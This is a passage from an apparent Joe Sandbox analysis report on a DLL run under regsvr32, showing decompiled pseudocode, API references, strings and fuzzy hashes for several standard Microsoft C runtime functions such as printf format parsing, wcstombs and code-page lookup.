0x7fef9d3ddd7
0x7fef9d3dde8
0x7fef9d3ddf7
0x7fef9d3de01
0x7fef9d3de0f
0x7fef9d3de19
0x7fef9d3de1f
0x7fef9d3de32
0x7fef9d3de40
0x7fef9d3de4c
0x7fef9d3de54
0x7fef9d3de5d
0x7fef9d3de61
0x7fef9d3de6a
0x7fef9d3de80
0x7fef9d3de91
0x7fef9d3de9f
0x7fef9d3deab
0x7fef9d3deb3
0x7fef9d3dec6
0x7fef9d3ded7
0x7fef9d3dee5
0x7fef9d3def1
0x7fef9d3def9
0x7fef9d3df09
0x7fef9d3df19
0x7fef9d3df29
0x7fef9d3df39
0x7fef9d3df49
0x7fef9d3df59
0x7fef9d3df5b
0x7fef9d3df5d
0x7fef9d3df68
0x7fef9d3df6d
0x7fef9d3df76
0x7fef9d3df7a
0x7fef9d3df80
0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9
get_int_arg.LIBCMTD ref: 000007FEF9D3DDAA

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
_woutput_s_l, xrefs: 000007FEF9D3DBD6

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameterget_int_arg
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2576288505-734865713
Opcode ID: d152d77759d1a8b77c8e40c3a5b6b9e992a9212ee747c51bfdc081fcc3156ca6
Instruction ID: 14f8518244b6aa56c92c2133ed4feb23c5223715f37474fc6187c6031a63ef29
Opcode Fuzzy Hash: d152d77759d1a8b77c8e40c3a5b6b9e992a9212ee747c51bfdc081fcc3156ca6
Instruction Fuzzy Hash: 94414DB2A0C6C28AE7F09B64E8407BEB2E4F384746F600125D6C9875E8DB3DD444CF14

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D26C32 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 83COMMON

Download Yara Rule

APIs

_swprintf_p.LIBCMTD ref: 000007FEF9D26DC2
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D26E0D

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D26DE1
(*_errno()), xrefs: 000007FEF9D26DF9
%.2X , xrefs: 000007FEF9D26DAD
_printMemBlockData, xrefs: 000007FEF9D26DED

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invoke_watson_if_oneof_swprintf_p
String ID: %.2X $(*_errno())$_printMemBlockData$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c
API String ID: 2731067127-3604075083
Opcode ID: fe7d44c8fd9bf19f096a73d3f0335bde0191fec95794c4c7e73345e4b193bd8e
Instruction ID: d4871e39cfd66166000c08c845a9e51e3e7b3f71581565f00727d2aef18c331a
Opcode Fuzzy Hash: fe7d44c8fd9bf19f096a73d3f0335bde0191fec95794c4c7e73345e4b193bd8e
Instruction Fuzzy Hash: C8415972A0D7C186E7A49B55E8903AEBBA0F784740FA14126E6CD47BA9DB3ED404CF10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D34F20 Relevance: 9.1, APIs: 6, Instructions: 123
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 41%

			E000007FE7FEF9D34F20(long long __rax, long long __rcx, long long __rdx, long long __r8, long long _a8, long long _a16, long long _a24, signed int _a32) {
				void* _v16;
				long long _v24;
				long long _v32;
				long long _v40;
				long long _v48;
				void* _v56;
				signed int _v72;
				long long _v80;
				signed int _v88;
				void* _t88;
				void* _t89;
				void* _t90;
				void* _t92;
				void* _t93;
				void* _t101;
				long long _t113;
				intOrPtr _t116;
				void* _t117;
				long long _t118;
				long long _t121;
				long long _t122;
				long long _t125;
				void* _t164;

				_t113 = __rax;
				_a32 = r9d;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				_v88 = E000007FE7FEF9D33B70(_a8, _a16, _a24);
				E000007FE7FEF9D2E680(_t79, _t113);
				_v80 = _t113;
				0xf9d24000();
				_v56 = _t113 + 0x100;
				 *_v56 =  *_v56 + 1;
				if (_v88 == 0xffffffff) goto 0xf9d35103;
				if (_v88 - _a32 <= 0) goto 0xf9d35103;
				if (_v88 - 0xffffffff <= 0) goto 0xf9d34fb9;
				_t116 = _a24;
				if (_v88 -  *((intOrPtr*)(_t116 + 4)) >= 0) goto 0xf9d34fb9;
				goto 0xf9d34fbe;
				E000007FE7FEF9D2E680(E000007FE7FEF9D2CF80(_t116), _t116);
				_t117 = _t116 +  *((intOrPtr*)(_a24 + 8));
				_v72 =  *((intOrPtr*)(_t117 + _v88 * 8));
				_t88 = E000007FE7FEF9D2E680( *((intOrPtr*)(_t117 + _v88 * 8)), _t117);
				_t118 = _t117 +  *((intOrPtr*)(_a24 + 8));
				if ( *((intOrPtr*)(_t118 + 4 + _v88 * 8)) == 0) goto 0xf9d35038;
				_t89 = E000007FE7FEF9D2E680(_t88, _t118);
				_v48 = _t118;
				_t90 = E000007FE7FEF9D2E680(_t89, _t118);
				_t121 = _v48 +  *((intOrPtr*)(_t118 +  *((intOrPtr*)(_a24 + 8)) + 4 + _v88 * 8));
				_v40 = _t121;
				goto 0xf9d35041;
				_v40 = 0;
				if (_v40 == 0) goto 0xf9d350f4;
				r9d = _v72;
				_t92 = E000007FE7FEF9D2E680(E000007FE7FEF9D33BD0(_t90, _a8, _a16, _a24), _t121);
				_t122 = _t121 +  *((intOrPtr*)(_a24 + 8));
				if ( *((intOrPtr*)(_t122 + 4 + _v88 * 8)) == 0) goto 0xf9d350c9;
				_t93 = E000007FE7FEF9D2E680(_t92, _t122);
				_v32 = _t122;
				E000007FE7FEF9D2E680(_t93, _t122);
				_t125 = _v32 +  *((intOrPtr*)(_t122 +  *((intOrPtr*)(_a24 + 8)) + 4 + _v88 * 8));
				_v24 = _t125;
				goto 0xf9d350d2;
				_v24 = 0;
				r8d = 0x103;
				E000007FE7FEF9D2E6C0(E000007FE7FEF9D3D7E0(_v24, _a8, _t164), _t125, _v80);
				goto 0xf9d350f6;
				_v88 = _v72;
				goto 0xf9d34f83;
				0xf9d24000();
				if ( *((intOrPtr*)(_t125 + 0x100)) <= 0) goto 0xf9d35131;
				0xf9d24000();
				_v16 = _t125 + 0x100;
				 *_v16 =  *_v16 - 1;
				if (_v88 == 0xffffffff) goto 0xf9d3514a;
				if (_v88 - _a32 <= 0) goto 0xf9d3514a;
				_t101 = E000007FE7FEF9D2CF80(_v16);
				r9d = _v88;
				return E000007FE7FEF9D33BD0(_t101, _a8, _a16, _a24);
			}

0x7fef9d34f20
0x7fef9d34f20
0x7fef9d34f25
0x7fef9d34f2a
0x7fef9d34f2f
0x7fef9d34f55
0x7fef9d34f59
0x7fef9d34f5e
0x7fef9d34f63
0x7fef9d34f6e
0x7fef9d34f81
0x7fef9d34f88
0x7fef9d34f99
0x7fef9d34fa4
0x7fef9d34fa6
0x7fef9d34fb5
0x7fef9d34fb7
0x7fef9d34fbe
0x7fef9d34fcf
0x7fef9d34fda
0x7fef9d34fde
0x7fef9d34fef
0x7fef9d34ffc
0x7fef9d34ffe
0x7fef9d35003
0x7fef9d35008
0x7fef9d3502e
0x7fef9d35031
0x7fef9d35036
0x7fef9d35038
0x7fef9d35047
0x7fef9d3504d
0x7fef9d3506f
0x7fef9d35080
0x7fef9d3508d
0x7fef9d3508f
0x7fef9d35094
0x7fef9d35099
0x7fef9d350bf
0x7fef9d350c2
0x7fef9d350c7
0x7fef9d350c9
0x7fef9d350d2
0x7fef9d350ef
0x7fef9d350f4
0x7fef9d350fa
0x7fef9d350fe
0x7fef9d35103
0x7fef9d3510f
0x7fef9d35111
0x7fef9d3511c
0x7fef9d3512f
0x7fef9d35136
0x7fef9d35143
0x7fef9d35145
0x7fef9d3514a
0x7fef9d35170

APIs

__GetCurrentState.LIBCMTD ref: 000007FEF9D34F50

Part of subcall function 000007FEF9D33B70: __StateFromControlPc.LIBCMTD ref: 000007FEF9D33BA4

_inconsistency.LIBCMTD ref: 000007FEF9D34FB9
__SetState.LIBCMTD ref: 000007FEF9D3506A
_SetImageBase.LIBCMTD ref: 000007FEF9D350EF
_inconsistency.LIBCMTD ref: 000007FEF9D35145
__SetState.LIBCMTD ref: 000007FEF9D35167

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: State$_inconsistency$BaseControlCurrentFromImage
String ID:
API String ID: 2452617236-0
Opcode ID: 03736bbfa20cfa1d6e80738f38b28c8345d2a0856ef117f7f635166efef2818c
Instruction ID: 79c6626e7a9320abdad6ed0e53fbdedc274fcc22452831ee93149e628ab3cd95
Opcode Fuzzy Hash: 03736bbfa20cfa1d6e80738f38b28c8345d2a0856ef117f7f635166efef2818c
Instruction Fuzzy Hash: EC61F132A0DA8586DAB0DB55E45177EB3A0F7C4789F214625E6CD83B6ACB3ED441CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D29F20 Relevance: 9.0, APIs: 6, Instructions: 46
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 27%

			E000007FE7FEF9D29F20(intOrPtr __ecx, intOrPtr* __rax, intOrPtr _a8) {
				long long _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				int _v28;
				int _v32;
				char _v64;
				long long _v72;
				intOrPtr _t29;
				intOrPtr* _t41;

				_t41 = __rax;
				_a8 = __ecx;
				_v16 = 0xfffffffe;
				_v72 = 0;
				0xf9d266b0();
				 *0xf9d4cd68 = 0;
				if (_a8 != 0xfffffffe) goto 0xf9d29f81;
				 *0xf9d4cd68 = 1;
				_v32 = GetOEMCP();
				E000007FE7FEF9D26800( &_v64);
				goto 0xf9d29fe3;
				if (_a8 != 0xfffffffd) goto 0xf9d29fae;
				 *0xf9d4cd68 = 1;
				_v28 = GetACP();
				E000007FE7FEF9D26800( &_v64);
				_t29 = _v28;
				goto 0xf9d29fe3;
				if (_a8 != 0xfffffffc) goto 0xf9d29fe3;
				 *0xf9d4cd68 = 1;
				E000007FE7FEF9D26840(_t29,  &_v64);
				_v24 =  *((intOrPtr*)( *_t41 + 4));
				E000007FE7FEF9D26800( &_v64);
				goto 0xf9d29ff9;
				_v20 = _a8;
				E000007FE7FEF9D26800( &_v64);
				return _v20;
			}

0x7fef9d29f20
0x7fef9d29f20
0x7fef9d29f28
0x7fef9d29f31
0x7fef9d29f44
0x7fef9d29f4a
0x7fef9d29f59
0x7fef9d29f5b
0x7fef9d29f6b
0x7fef9d29f74
0x7fef9d29f7f
0x7fef9d29f86
0x7fef9d29f88
0x7fef9d29f98
0x7fef9d29fa1
0x7fef9d29fa6
0x7fef9d29fac
0x7fef9d29fb3
0x7fef9d29fb5
0x7fef9d29fc4
0x7fef9d29fcf
0x7fef9d29fd8
0x7fef9d29fe1
0x7fef9d29fe7
0x7fef9d29ff0
0x7fef9d29ffd

APIs

GetOEMCP.KERNEL32 ref: 000007FEF9D29F65
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D29F74
GetACP.KERNEL32 ref: 000007FEF9D29F92
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D29FA1

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_
String ID:
API String ID: 1901436342-0
Opcode ID: 69024ba52bd34e7b32b0e788ec4f64afe9409c237456bc3d803b93947163d83b
Instruction ID: 704f50b174c78f8dad9e9ad97ccd9f8c7b4629f2dc49822da5bcfb1c8acb2663
Opcode Fuzzy Hash: 69024ba52bd34e7b32b0e788ec4f64afe9409c237456bc3d803b93947163d83b
Instruction Fuzzy Hash: 2E21A732D0C64186E7A09B28E84436EBBA0E784768F614226E3DD426F9DB7ED545CF41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3809F Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 115COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3829E

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c, xrefs: 000007FEF9D3824F, 000007FEF9D38289
P, xrefs: 000007FEF9D382B7
_wcstombs_s_l, xrefs: 000007FEF9D38290
sizeInBytes > retsize, xrefs: 000007FEF9D3823A, 000007FEF9D38297

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: P$_wcstombs_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c$sizeInBytes > retsize
API String ID: 2123368286-552404435
Opcode ID: f12e70934a7f8eca6376172156a370be3a7c923ed3c4affde7108b6e7297d87f
Instruction ID: a80555c9662aee50eaf55af6b2d7c09464ca7ea00ccabcf41043a4b878837ec0
Opcode Fuzzy Hash: f12e70934a7f8eca6376172156a370be3a7c923ed3c4affde7108b6e7297d87f
Instruction Fuzzy Hash: 4B511726A0DBC586E6B48B19E84476EB3E0F386361F204625D6ED43BE8DF7ED4458B01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BCBD Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 28%

			E000007FE7FEF9D3BCBD(intOrPtr _a76, signed int _a80, signed int _a88, signed int _a92, signed int _a108, signed int _a112, intOrPtr _a116, signed int _a696, intOrPtr _a704, char _a968, char _a972, signed int _a976, void* _a1096, char _a1112) {
				void* _t184;
				char* _t204;
				char* _t205;

				_a112 = 0;
				_a108 = _a112;
				_a88 = _a108;
				_a92 = _a88;
				_a80 = 0;
				_a116 = 0xffffffff;
				_a76 = 0;
				_a968 = _a696 & 0x000000ff;
				if (_a968 == 0x20) goto 0xf9d3bd57;
				if (_a968 == 0x23) goto 0xf9d3bd64;
				if (_a968 == 0x2b) goto 0xf9d3bd4a;
				if (_a968 == 0x2d) goto 0xf9d3bd3d;
				if (_a968 == 0x30) goto 0xf9d3bd72;
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000004;
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000001;
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000002;
				goto 0xf9d3bd7d;
				asm("bts eax, 0x7");
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000008;
				if (_a696 != 0x2a) goto 0xf9d3bdbe;
				_t204 =  &_a1112;
				_a88 = E000007FE7FEF9D31E40(_t204);
				if (_a88 >= 0) goto 0xf9d3bdbc;
				_a80 = _a80 | 0x00000004;
				_a88 =  ~_a88;
				goto 0xf9d3bdd5;
				_a88 = _t184 + _t204 - 0x30;
				_a116 = 0;
				if (_a696 != 0x2a) goto 0xf9d3be16;
				_t205 =  &_a1112;
				_a116 = E000007FE7FEF9D31E40(_t205);
				if (_a116 >= 0) goto 0xf9d3be14;
				_a116 = 0xffffffff;
				goto 0xf9d3be2d;
				_a116 = _t184 + _t205 - 0x30;
				_a972 = _a696 & 0x000000ff;
				if (_a972 == 0x49) goto 0xf9d3beb7;
				if (_a972 == 0x68) goto 0xf9d3bfc0;
				if (_a972 == 0x6c) goto 0xf9d3be76;
				if (_a972 == 0x77) goto 0xf9d3bfcd;
				goto 0xf9d3bfd9;
				if ( *_a1096 != 0x6c) goto 0xf9d3bea7;
				_a1096 = _a1096 + 1;
				asm("bts eax, 0xc");
				goto 0xf9d3beb2;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xf");
				if ( *_a1096 != 0x36) goto 0xf9d3bf09;
				if ( *((char*)(_a1096 + 1)) != 0x34) goto 0xf9d3bf09;
				_a1096 = _a1096 + 2;
				asm("bts eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 != 0x33) goto 0xf9d3bf4c;
				if ( *((char*)(_a1096 + 1)) != 0x32) goto 0xf9d3bf4c;
				_a1096 = _a1096 + 2;
				asm("btr eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 == 0x64) goto 0xf9d3bfac;
				if ( *_a1096 == 0x69) goto 0xf9d3bfac;
				if ( *_a1096 == 0x6f) goto 0xf9d3bfac;
				if ( *_a1096 == 0x75) goto 0xf9d3bfac;
				if ( *_a1096 == 0x78) goto 0xf9d3bfac;
				if ( *_a1096 != 0x58) goto 0xf9d3bfae;
				goto 0xf9d3bfbe;
				_a704 = 0;
				goto E000007FE7FEF9D3BB66;
				goto 0xf9d3bfd9;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xb");
				_a976 = _a696;
				_a976 = _a976 - 0x41;
				if (_a976 - 0x37 > 0) goto 0xf9d3ca31;
				goto __rax;
			}

0x7fef9d3bcbd
0x7fef9d3bcc9
0x7fef9d3bcd1
0x7fef9d3bcd9
0x7fef9d3bcdd
0x7fef9d3bce5
0x7fef9d3bced
0x7fef9d3bd02
0x7fef9d3bd11
0x7fef9d3bd1b
0x7fef9d3bd25
0x7fef9d3bd2f
0x7fef9d3bd39
0x7fef9d3bd3b
0x7fef9d3bd44
0x7fef9d3bd48
0x7fef9d3bd51
0x7fef9d3bd55
0x7fef9d3bd5e
0x7fef9d3bd62
0x7fef9d3bd68
0x7fef9d3bd70
0x7fef9d3bd79
0x7fef9d3bd8d
0x7fef9d3bd8f
0x7fef9d3bd9c
0x7fef9d3bda5
0x7fef9d3bdae
0x7fef9d3bdb8
0x7fef9d3bdbc
0x7fef9d3bdd1
0x7fef9d3bdda
0x7fef9d3bdf2
0x7fef9d3bdf4
0x7fef9d3be01
0x7fef9d3be0a
0x7fef9d3be0c
0x7fef9d3be14
0x7fef9d3be29
0x7fef9d3be3a
0x7fef9d3be49
0x7fef9d3be53
0x7fef9d3be61
0x7fef9d3be6b
0x7fef9d3be71
0x7fef9d3be84
0x7fef9d3be91
0x7fef9d3be9d
0x7fef9d3bea5
0x7fef9d3beae
0x7fef9d3beb2
0x7fef9d3bebb
0x7fef9d3bed1
0x7fef9d3bee2
0x7fef9d3bef0
0x7fef9d3befc
0x7fef9d3bf04
0x7fef9d3bf17
0x7fef9d3bf28
0x7fef9d3bf36
0x7fef9d3bf42
0x7fef9d3bf4a
0x7fef9d3bf5a
0x7fef9d3bf6a
0x7fef9d3bf7a
0x7fef9d3bf8a
0x7fef9d3bf9a
0x7fef9d3bfaa
0x7fef9d3bfac
0x7fef9d3bfae
0x7fef9d3bfb9
0x7fef9d3bfbe
0x7fef9d3bfc7
0x7fef9d3bfcb
0x7fef9d3bfd1
0x7fef9d3bfe6
0x7fef9d3bff7
0x7fef9d3c006
0x7fef9d3c02d

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E
_invalid_parameter.LIBCMTD ref: 000007FEF9D3CD3E
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3CD53
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3CD74

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
_output_s_l, xrefs: 000007FEF9D3BAFB

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: ("Incorrect format specifier", 0)$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2192614184-192189897
Opcode ID: 838c9af7f6c21a6938ef5e99847a712facd56587850898e9071408f632ec2777
Instruction ID: 366f55b25be61a8d80973343189ccb34eb8cf05d0f6555861afeb0151a731927
Opcode Fuzzy Hash: 838c9af7f6c21a6938ef5e99847a712facd56587850898e9071408f632ec2777
Instruction Fuzzy Hash: 1A414C72A0D6C28AE3B0DB24E8547BEB7E4F384345F600126E6D887AA9DB7DD541CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DC6B Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 28%

			E000007FE7FEF9D3DC6B(intOrPtr _a76, signed int _a80, signed int _a88, signed int _a92, signed int _a108, signed int _a112, intOrPtr _a116, signed int _a1208, intOrPtr _a1216, signed int _a1404, signed int _a1408, signed int _a1412, signed short* _a1544, char _a1560) {
				void* _t184;
				char* _t204;
				char* _t205;

				_a112 = 0;
				_a108 = _a112;
				_a88 = _a108;
				_a92 = _a88;
				_a80 = 0;
				_a116 = 0xffffffff;
				_a76 = 0;
				_a1404 = _a1208 & 0x0000ffff;
				if (_a1404 == 0x20) goto 0xf9d3dd05;
				if (_a1404 == 0x23) goto 0xf9d3dd12;
				if (_a1404 == 0x2b) goto 0xf9d3dcf8;
				if (_a1404 == 0x2d) goto 0xf9d3dceb;
				if (_a1404 == 0x30) goto 0xf9d3dd20;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000004;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000001;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000002;
				goto 0xf9d3dd2b;
				asm("bts eax, 0x7");
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000008;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3dd6c;
				_t204 =  &_a1560;
				_a88 = E000007FE7FEF9D31E40(_t204);
				if (_a88 >= 0) goto 0xf9d3dd6a;
				_a80 = _a80 | 0x00000004;
				_a88 =  ~_a88;
				goto 0xf9d3dd83;
				_a88 = _t184 + _t204 - 0x30;
				_a116 = 0;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3ddc4;
				_t205 =  &_a1560;
				_a116 = E000007FE7FEF9D31E40(_t205);
				if (_a116 >= 0) goto 0xf9d3ddc2;
				_a116 = 0xffffffff;
				goto 0xf9d3dddb;
				_a116 = _t184 + _t205 - 0x30;
				_a1408 = _a1208 & 0x0000ffff;
				if (_a1408 == 0x49) goto 0xf9d3de66;
				if (_a1408 == 0x68) goto 0xf9d3df6f;
				if (_a1408 == 0x6c) goto 0xf9d3de24;
				if (_a1408 == 0x77) goto 0xf9d3df7c;
				goto 0xf9d3df88;
				if (( *_a1544 & 0x0000ffff) != 0x6c) goto 0xf9d3de56;
				_a1544 =  &(_a1544[1]);
				asm("bts eax, 0xc");
				goto 0xf9d3de61;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3df88;
				asm("bts eax, 0xf");
				if (( *_a1544 & 0x0000ffff) != 0x36) goto 0xf9d3deb8;
				if ((_a1544[1] & 0x0000ffff) != 0x34) goto 0xf9d3deb8;
				_a1544 =  &(_a1544[2]);
				asm("bts eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) != 0x33) goto 0xf9d3defb;
				if ((_a1544[1] & 0x0000ffff) != 0x32) goto 0xf9d3defb;
				_a1544 =  &(_a1544[2]);
				asm("btr eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) == 0x64) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x69) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x6f) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x75) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x78) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) != 0x58) goto 0xf9d3df5d;
				goto 0xf9d3df6d;
				_a1216 = 0;
				goto E000007FE7FEF9D3DC41;
				goto 0xf9d3df88;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3df88;
				asm("bts eax, 0xb");
				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3dc6b
0x7fef9d3dc77
0x7fef9d3dc7f
0x7fef9d3dc87
0x7fef9d3dc8b
0x7fef9d3dc93
0x7fef9d3dc9b
0x7fef9d3dcb0
0x7fef9d3dcbf
0x7fef9d3dcc9
0x7fef9d3dcd3
0x7fef9d3dcdd
0x7fef9d3dce7
0x7fef9d3dce9
0x7fef9d3dcf2
0x7fef9d3dcf6
0x7fef9d3dcff
0x7fef9d3dd03
0x7fef9d3dd0c
0x7fef9d3dd10
0x7fef9d3dd16
0x7fef9d3dd1e
0x7fef9d3dd27
0x7fef9d3dd3b
0x7fef9d3dd3d
0x7fef9d3dd4a
0x7fef9d3dd53
0x7fef9d3dd5c
0x7fef9d3dd66
0x7fef9d3dd6a
0x7fef9d3dd7f
0x7fef9d3dd88
0x7fef9d3dda0
0x7fef9d3dda2
0x7fef9d3ddaf
0x7fef9d3ddb8
0x7fef9d3ddba
0x7fef9d3ddc2
0x7fef9d3ddd7
0x7fef9d3dde8
0x7fef9d3ddf7
0x7fef9d3de01
0x7fef9d3de0f
0x7fef9d3de19
0x7fef9d3de1f
0x7fef9d3de32
0x7fef9d3de40
0x7fef9d3de4c
0x7fef9d3de54
0x7fef9d3de5d
0x7fef9d3de61
0x7fef9d3de6a
0x7fef9d3de80
0x7fef9d3de91
0x7fef9d3de9f
0x7fef9d3deab
0x7fef9d3deb3
0x7fef9d3dec6
0x7fef9d3ded7
0x7fef9d3dee5
0x7fef9d3def1
0x7fef9d3def9
0x7fef9d3df09
0x7fef9d3df19
0x7fef9d3df29
0x7fef9d3df39
0x7fef9d3df49
0x7fef9d3df59
0x7fef9d3df5b
0x7fef9d3df5d
0x7fef9d3df68
0x7fef9d3df6d
0x7fef9d3df76
